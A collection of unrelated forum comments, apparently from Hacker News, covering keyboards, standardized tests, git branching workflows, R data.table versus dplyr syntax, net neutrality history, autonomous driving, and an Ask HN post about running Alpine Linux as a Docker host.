I wrote the 927 reference, not the commenter you're replying to. I agree with you both, though the joke wrote itself! Of course conferences don't "compete," no more than journals "compete," especially in a world where peer review is increasingly becoming open sourced; but that's what makes (made?) the joke slightly more amusing.

Perhaps the more substantive discussion is, when you increase access to publication, does quality increase? decrease? stay the same?

Yep, defnly matches my experience as a dirt-poor high-school dropout. SAT saved me. It's very sad to me to see these developments.
I haven't finished reading your reply. I got to this point:

"I do not believe I have made it to the meat of that thesis yet but, up to this point, I have not been convinced by his evidence that there were long-lasting, large-scale human organizations (think city scale and higher) that operated without some hierarchy."

There exists a natural hierarchy between the category of needs for humans to survive and the category of needs for humans to thrive. Nature provides enough.
Keyboard people are a bit too enthusiastic about cutting out a few dozen keys only to add them back in layers.
Trust me, you can immediately feel the difference and you can see the difference after at most a year. As someone who types 12+ hours every day, yeah, I care. Car paint protects the body, but is otherwise almost exclusively cosmetic. Keycaps however is what you touch. You don't touch a keyboard (in a meaningful way), so I think your analogy is flawed.
That's not what I was saying. I'm saying your team is likely to want to do something drastic and is likely to go down the micro-services path. This is not a comment on correctness. This is a behavioral prediction.

I once went to opening night of Il Trovatore at the NYC Met opera. I thought it was great. At the end of the performance, singers for the usual ovations but when the director appeared on stage, the audience started booing. They apparently didn’t like the modern decor. Neither did the NY Times. I obviously don’t have a good eye for these things.

My apologies if it's condescending, that's not my intent. I wanted to point out that there's a lot of large wild hairs being thrown around, that's all.
The thing that's great about this model of support is it's auditability. When the normal channels don't work, and you just sorta know a guy get problems fixed gives me a lot of comfort.

The main thing is, there's no way for someone to social engineer the standard system. And there's really no way an employee could be bribed, because they wouldn't be friends with the kinds of people who offer bribes.

Security through an anonymous web of trust. Good stuff!
I feel like there was something so novel and cool about "digital culture" and being on the Internet that it lured me into assuming some kind of exceptionalism. Like, "ha, this is all somehow too different from anything that came before to ever enter the dustbin of history". Surprisingly, that was wrong. There are people who enjoyed WoW and doge that are now dead, and the ones still alive are getting older. It's so weird how stuff that happens despite everything.
> _Anyone_ can fix it: you don't have to find _who_ fixes it.

You can always "fix" the broken test by reverting the offending commit. But again, if someone has already committed on it, your history will be a mess. Actually fixing something takes developer B longer than it will take the dev who knows the context. So switching that responsibility - unless it's a typo - would be a massive waste of time. A nice "collective responsibility" perhaps, but a huge waste of time.

> That does presume you are OK with collective responsibility for the codebase, but I have never worked without that. If you live in that world, I feel bad for you son ;)

I do like having collective responsibility. But one of the most important responsibilities is having a clean history, a buildable branch to start from etc.
"Fixing other people's typos" is a nice team excercise but it's pretty far down on my list of collective responsibilities.

> If the same issue is on a branch its still there, its hidden and lives longer.

Test failures when we did commit-to-master lived for days or weeks. Working with PR's doesn't slow me down at all. It's not like feature branches have to live for days. They can live 20 minutes. Of course, if you have a 1.5h CI and then wait for a code review, then it's going to be a few hours, but I wouldn't want to go back to churning on master with 30 others. I did that for 15 years before. With all kinds of teams.

> If you insist one dev per branch and that dev merges, thats playing blame games.

I don't care who merges. And whether the dev merges their own code or whether code review is required is a tangential question. The more important point is that the branch lets build+test be done while the dev does something else, and that the target branch is green in the meeantime. Again, if you can build+test in minutes, then perhaps doing master dev is fine because you can all just agree that "Team, let's try to compile and run all tests before committing to master ok thanks". But if you have a lenghty CI then what? Do you hope every dev runs the 3 hour test suite before committing? That also sounds like a massive waste of time where the developer could be working on the next thing already.
Ah yes, the "I didn't keep the money, I used it to buy a boat" defense.

Similarly, you and I are both forced to share the roads with folks who are impaired in various ways, whether it's declining reflexes, vision, cognitive function - or just straight up drunk driving. As somebody who comes from a country with very strict anti drunk-driving rules (checkpoints randomly on commonly used roads frequently enough to deter it), it blows my mind that I have to share the roads in the US with drivers who think having "just 4 beers" before their 45 minute drive home is fine.

Since the US hasn't shown many signs for cracking down on drunk driving, and adding better infrastructure for folks who can no longer drive for various reasons is equally a non-starter at the moment - I'm all in favor of any system that speeds up the arrival of genuinely fully autonomous driving. Tesla hasn't killed or injured anyone using this "FSD beta" program to date, despite a large number of miles driven, so their existing precautions appear to be working.

Even in the interim, before we reach fully autonomous driving, "better than the average human driver" is still a huge performance milestone worth aiming for before we start obsessing over "perfect" (Not saying FSD Beta is there yet, but Autopilot on Highways might be).
Non paywall version of the referenced NYT article:
https://news.yahoo.com/omicron-threatens-red-america-1338068...

The title, unsurprisingly, totally misrepresents the underlying data. None of the vaccination stats are connected to actual voter registrations -- it's all smoke and mirrors sampling. It also doesn't contrast Covid-caused death rates vs all-cause death rates.

The study author says: "I have attempted to estimate how many actual GOP vs. Dem voters have died of COVID based on the county-level data since the 2020 election, and my crude estimate suggests that perhaps 50% more Republicans have died than Democrats...but this estimate makes some big assumptions."
> Net Neutrality was very shortlived in the USA though, like, a few years only ?

That is...not accurate.

Net neutrality was FCC policy enforced by case-by-case action from 2005 until a couple such actions were struck down by courts in 2010 as requiring regulation. After that,the FCC adopted them as regulation in the 2010 Open Internet Order (which had been being drafted before the ruling); certain parts of the 2010 order were struck down by the D.C. Circuit in 2014, saying such regulations could not be applied without reclassifying ISPs as telecommunication providers under Title II rather than information service providers under Title I of the Telecommunications Act. Subsequently, the FCC adopted regulations reclassifying ISP and again imposing Net Neutrality regulations in 2015, which (with new leadership because of the Trump Administration), they withdrew in 2017.

A number of states have since adopted various net neutrality laws, including California.

While the FCC has not yet acted on it, the Biden Administration made bet neutrality executive policy in Executive Order 14036.
put a big IMO/IMU around all of this, but the SAT/ACT isn't objective in the sense that studying for them is something you can do to improve your score and your prospects. However, it is also transparent in how you do that: you take a course, get study books, and/or take practice tests and there are programs out that have been trying to help disadvantaged students get access to these tools. its also much more cost effective compared to the other solutions like going to a private school (difficult, can be costly without aid) or getting into expensive niche sports.

so imo getting rid of standardized tests does get rid of a subjective rating of an applicant which is good in theory, but when you leave in all of the other subjective ratings that are much more difficult for disadvantaged students to do well on it who is it actually benefiting?

I love my Kinesis Advantage. I go back and forth between it and my other non-ergo keyboards (at the moment it's a DasKeyboard). Somehow I managed to lose the CTRL keycap while the Kinesis was storage in my attic. I emailed Kinesis and got a response back within minutes - they're sending me a new keycap for the cost of shipping / handling ($7). Can't beat the responsiveness or the fact that they didn't ask me to buy an entire keyboard keycap set ($40-50).

When my Advantage gives out, I'll likely get a 360. They are expensive, but they are built to last in my experience (I bought my first PS/2 Kinesis keyboard 20+ years ago when I did email tech support for Iomega (Zip drives - hundreds of emails a day), had it for 10 years, sold it for half of what I paid for it) and bought the USB version of the Advantage that I still use today.

Ask HN: Are you using alpine as main server os?
Hey HN!

The last months I am getting more and more into IT security. Partly my job but mostly it is due to my server which I rent for creating my self hosted services based on Docker (e.g. Nextcloud, Gitea, Mail,...). I am very familiar with Ubuntu and Debian based distributions so my server runs Ubuntu 20.04 LTS. Currently I am creating a CICD pipeline with Gitea, Jenkins, Harbor, Portainer. Harbor (trivy) scans my images and if a service doesn't run on alpine it is red. So, if every docker service which is based on Ubuntu/Debian has hundreds of unfixed vulnerabilities, so my server might have them as well. It came into my mind to resetup the server and use alpine as the host operating system. All I need is docker and nginx with letsencrypt. My question is, would it make sense to use alpine as host os? Does anyone uses a similar setup with alpine? Or would anyone recommended or not recommend this scenario?
Best regards!
In major cities, there are a lot of smaller theatre companies you can go to. The quality is a bit hit or miss but tickets prices tend to be in in tens rather than hundreds of dollars.

But at this point you are just fixing an invented problem with more tasks to be done. A lot of these custom keyboards could just have been built with more of the standard keys.
Either you're checking objective facts, or you're providing subjective opinion. You can't label it as the former in public, but in court claim it's the latter. Legally, maybe, IANAL. Reasonably - no.
I disagree. Doing data manipulation one action at a time in a piped sequence is easiest to reason about because the state right before you apply a new operation is always clear.

data.table, on the other hand, is a fancy clever gadget with many knobs and buttons you have to turn and press just so to get the desired result. It's only simple if all you do is filter, group by, and summarize.

To illustrate, let's look at what you have to do in data.table in order to achieve the equivalent of a grouped filter in dplyr (from the dtplyr translation vignette):

dplyr:

df %>%
group_by(a) %>%
filter(b < mean(b))

data.table:

DT[DT[, .I[b < mean(b)],
by = .(a)]$V1]

Compared to the simple, declarative feel of the dplyr, there's a lot of weird stuff going on in the data.table version. You have to put DT inside itself? What is .I? Where did V1 come from? Janky stuff.

(And yes I know precisely what is going on in the data.table version, I just think it's ugly and illustrates my point about composability and legibility extremely well.)

The reason data.table has all these independent knobs is because it wants you to cram your entire query into a single command, so it can optimize the query more easily and squeeze every drop of performance. NOT because it's more understandable, because it isn't.

The best of both worlds -- an optimizable query and one-action-at-a-time syntax -- can be achieved with a lazy system like Apache Spark or dtplyr.

If you hold up your empty hand you will find that your thumb can comfortably oppose any of your other four fingers in a pincer grip. This suggests that a board should have at least four keys that can be pressed with the thumb while the fingers type without any strain whatsoever.

My ideal keyboard would be shaped to accommodate the neutral state of the hand. Hitting modifier and a key should feel as comfortable as a natural pincer grip. I certainly don’t want to use my weakest finger to hold a modifier key, even if it’s on the home row. I’d try to squeeze a fifth thumb key in if it could be ergonomic, so as to have control, meta, super, shift, and space all on the thumb.

The Kinesis Advantage 2 comes closer than any other board I’ve used. I’m not entirely satisfied with the lack of adjustability of the thumb cluster though. Not everyone has the same size hands after all. It’s fairly comfortable at lap level though.

This kind of full disclosure is terribly important to build and maintain trust in an organization. I've even go so far as to disclose my investment portfolio to the CFO and clarify the purchasing decisions when there is overlap. Back in the day my budget was in the ten's of millions and it wasn't uncommon to make a $1m purchase of servers and storage. The moral ambiguity of accepting something in turn for making a buying decision is really beyond the pale. Thank you for your great post.

Bay Area governments like vehicle burglaries. It's seen as a form of stimulus. Stolen items generally result in replacement purchases, generating economic activity and state and local sales taxes (even Amazon, eBay, and other shipped purchases).

There are many oft-hit locations that would be easy to use bait cars and have minimal exit points, allowing the sealing off of escape routes. But law enforcement agencies (local or state) won't try.

Meanwhile, they are using local LEOs for things like Sobriety Checkpoints.

Of course you have a point, but I just think that's a conveniently selective interpretation of the reality. I mean just take blackness for example, you don't even have to say anything for your life to be fundamentally undermined by the federal and municipal police. But what I think is more significant is Western foreign policy, freedom of self-determination exists in the weakest sense of freedom to adhere to Western hegemony. Just take Hong Kong for example, the only reason it exists is because the Chinese refused to continue the opium trade with the British. That's where the Opium Wars come from. And that continues to be the modus operandi; silencing of indigenous voices, funding of anti-communist sentiment in South America and South East Asia, arms sales to the Middle East, fabrication of evidence of WMDs to start wars, funding of anti-capitalist sentiment in Africa.

Of course us western, middle-class white people think we're free, we think what we have is normal. Nothing's prodding us to question the status quo.

I asked a born again Christian what a cult was when I was a teenager. He said a cult is where people worship a man as though he was God.

I silently filled in the next sentence in my head: "...but Christianity isn't a cult, because Jesus really was God..."

Which is not to claim that Christianity is exactly the same as all the cults it won out over...but the differences can't be nearly as obvious as they seem in hindsight.
No, stop tracking. (And there are other ways too which are not that much harder.)
Yes, you can explain refrigeration with ideal gas. But...

You need non-ideal gas (attraction) to get temperature inversion. Then you just need compressor and voila, look at PT charts to find what temperature range you need. With ideal gas reverse carnot refrigerator your refrigeration effect is bounded on low temperature side by the available low temperature source.

So yes, you can refrigerate with ideal gas, but it's not very helpful in warm areas or if you need to get something super cold.
